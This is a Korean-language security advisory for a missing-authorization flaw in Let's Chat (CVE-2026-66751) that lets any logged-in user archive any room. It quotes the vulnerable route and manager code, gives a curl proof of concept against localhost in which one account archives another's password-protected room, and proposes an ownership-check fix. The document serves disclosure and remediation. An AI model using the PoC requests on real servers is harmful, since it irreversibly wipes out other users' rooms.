
보안 권고: 불충분한 접근 제어로 승인되지 않은 방 삭제가 가능함 (Let's Chat)
할당된 CVE ID: CVE-2026-66751
DELETE /rooms/:room는 로그인 요구 외에는 어떠한 권한 검사도 수행하지 않습니다. 어떤 계정이든
서버의 모든 방을 보관 처리할 수 있으며, 해당 계정이 읽거나, 참여하거나, 수정할 수 없는
비공개 및 비밀번호 보호 방도 포함됩니다.
보관(archiving)은 Let's Chat에서 방을 삭제하는 방식입니다. 방은 방 목록에서 사라지고, 직접 조회하면 404를 반환하며, 해당 방에 메시지를 게시하거나 파일을 업로드하는 것은 거부됩니다. 이를 되돌리는 코드 경로는 애플리케이션에 존재하지 않습니다.
저장소 URL: https://github.com/sdelements/lets-chat
0.3.0(커밋 5b5f46f, 2015년 1월 2일, "방은 삭제되는 대신 보관됩니다")부터 마지막 릴리스인
0.4.8까지 취약합니다. 수정 버전은 존재하지 않습니다.
비공개 및 비밀번호 보호 방은 0.4.0에서 도입되었으므로, 공격자가 내용을 볼 수 없는 방을 파괴하는 경우는 0.4.0부터 적용됩니다. 누락된 검사 자체는 0.3.0부터 존재합니다.
0.4.8의 커밋 617207f 및 docker.io/sdelements/lets-chat:latest(0.4.7)에서 확인되었습니다.
CWE-862: 누락된 권한 부여.
CVSS 4.0 기본 점수 5.3(보통)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
공격자는 일반 사용자 계정 하나와 HTTP 포트에 대한 네트워크 접근 권한만 있으면 됩니다. 방을
소유하거나, 그 방의 구성원이거나, 비밀번호를 알거나, 상승된 역할을 보유할 필요는 없습니다.
자체 등록은 기본적으로 활성화되어 있습니다(defaults.yml의 auth.local.enableRegistration).
대상 선택에는 비용이 들지 않습니다. GET /rooms는 설계상 모든 사용자에게 비밀번호 보호 방을
나열하므로, 공격자는 전체 방 id 목록을 읽고 각각을 차례로 보관 처리할 수 있습니다.
이 라우트는 로그인을 요구하고 방을 확인할 뿐이며, 그 이상은 없습니다.
app/controllers/rooms.js:99-109:
app.route('/rooms/:room')
.all(middlewares.requireLogin, middlewares.roomRoute)
.get(function(req) {
req.io.route('rooms:get');
})
.put(function(req) {
req.io.route('rooms:update');
})
.delete(function(req) {
req.io.route('rooms:archive');
});
이 핸들러는 방 id만 하위 계층으로 전달합니다. req.user는 전혀 확인하지 않습니다.
app/controllers/rooms.js:217-232:
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, function(err, room) {
if (err) {
console.log(err);
return res.sendStatus(400);
}
if (!room) {
return res.sendStatus(404);
}
res.sendStatus(204);
});
},
매니저는 사용자 인자를 받지 않으므로, 원칙적으로도 소유권을 검사할 수 없습니다.
app/core/rooms.js:123-137:
RoomManager.prototype.archive = function(roomId, cb) {
var Room = mongoose.model('Room');
Room.findById(roomId, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb('Room does not exist.');
}
room.archived = true;
인접한 업데이트 경로는 소유권을 검사합니다. 이 때문에 이 문제는 의도적인 선택이 아니라
실수로 보입니다. app/core/rooms.js:89-91:
if(room.private && !room.owner.equals(options.user.id)) {
return cb('Only owner can change private room.');
}
클라이언트도 더 엄격한 해석과 일치합니다. media/js/views/room.js:28-31은 편집 컨트롤을
누가 볼지 결정하며, 방 보관(Archive Room) 버튼은 이 컨트롤이 여는 편집 모달 안에 있습니다:
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');
this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);
비밀번호 보호 방의 경우 소유자가 아니면 버튼이 표시되지 않습니다. 이 제한은 브라우저에서만 존재합니다.
rooms.private: true(또는 LCB_ROOMS_PRIVATE=true)가 설정되어 있어야 비공개 방을
만들 수 있습니다. 누락된 검사 자체는 해당 설정과 관계없이 모든 방에 적용됩니다.
BASE=http://localhost:5000
# Two unrelated accounts.
for U in victim attacker; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# The victim creates a private, password protected room. Note the returned id.
curl -s -b victim.txt -X POST $BASE/rooms \
-H 'Content-Type: application/json' \
-d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'
RID=<id from the response above>
# The attacker cannot read it and cannot modify it.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
-H 'Content-Type: application/json' -d '{"name":"x"}'
# The attacker archives it anyway.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID
# The owner can no longer reach their own room.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID
요청 이후 해당 방은 모든 사용자의 GET /rooms 목록에서 사라지고, GET /rooms/:id는
404를 반환하며, messages:create와 files:create는 이를 거부합니다
(app/core/messages.js:28-30, app/core/files.js:55-57). app/ 어디에도 archived를
false로 되돌리는 코드는 없으므로, 복구에는 직접 데이터베이스 접근이 필요합니다.
호출자를 매니저에 전달하고, update가 이미 수행하는 것과 동일하게 보관 전에 소유권을
검사하십시오. app/controllers/rooms.js:217에서:
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, { user: req.user }, function(err, room) {
그리고 app/core/rooms.js:123의 if (!room) 검사 이후에:
if (!room.owner.equals(options.user.id)) {
return cb('Only the owner can archive this room.');
}